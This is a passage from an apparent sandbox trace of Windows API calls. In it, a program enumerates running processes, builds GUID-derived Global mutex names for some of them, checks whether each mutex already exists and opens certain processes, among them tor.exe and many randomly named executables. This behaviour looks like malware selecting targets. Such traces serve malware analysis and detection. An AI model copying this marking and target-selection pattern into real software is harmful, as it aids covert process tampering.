cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.553] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0123.553] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0123.554] GetLastError () returned 0xb7 [0123.554] CloseHandle (hObject=0x56c) returned 1 [0123.554] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.555] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0123.555] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0123.555] GetLastError () returned 0x0 [0123.555] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0123.555] CloseHandle (hObject=0x56c) returned 1 [0123.555] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.556] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.557] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.558] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.558] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.559] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.560] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.561] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.562] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.563] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0123.564] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.565] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.565] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.566] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.567] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.568] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.569] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.570] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.570] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.571] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.572] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.573] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.574] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.574] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.585] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.586] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.587] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.588] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.589] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.589] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.590] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.591] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0123.591] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0123.591] GetLastError () returned 0xb7 [0123.591] CloseHandle (hObject=0x56c) returned 1 [0123.591] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0123.592] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0123.593] CloseHandle (hObject=0x6cc) returned 1 [0123.593] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0123.700] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0123.702] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.703] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.704] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.705] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.706] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.707] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.707] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.708] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.709] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.710] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.711] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.712] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.712] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.713] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.714] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.715] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.716] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.717] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.717] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.724] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.725] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.725] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0123.725] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0123.726] GetLastError () returned 0xb7 [0123.726] CloseHandle (hObject=0x56c) returned 1 [0123.726] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.726] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0123.726] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0123.726] GetLastError () returned 0xb7 [0123.726] CloseHandle (hObject=0x56c) returned 1 [0123.726] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.727] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.728] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0123.728] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0123.728] GetLastError () returned 0x0 [0123.728] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0123.728] CloseHandle (hObject=0x56c) returned 1 [0123.728] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.729] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0123.729] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0123.729] GetLastError () returned 0x0 [0123.729] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0123.729] CloseHandle (hObject=0x56c) returned 1 [0123.729] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.730] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0123.730] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0123.730] GetLastError () returned 0xb7 [0123.730] CloseHandle (hObject=0x56c) returned 1 [0123.730] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.731] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0123.731] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0123.731] GetLastError () returned 0x0 [0123.731] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0123.731] CloseHandle (hObject=0x56c) returned 1 [0123.731] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.732] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.733] Process32NextW (in: hSnapshot=0x6cc, 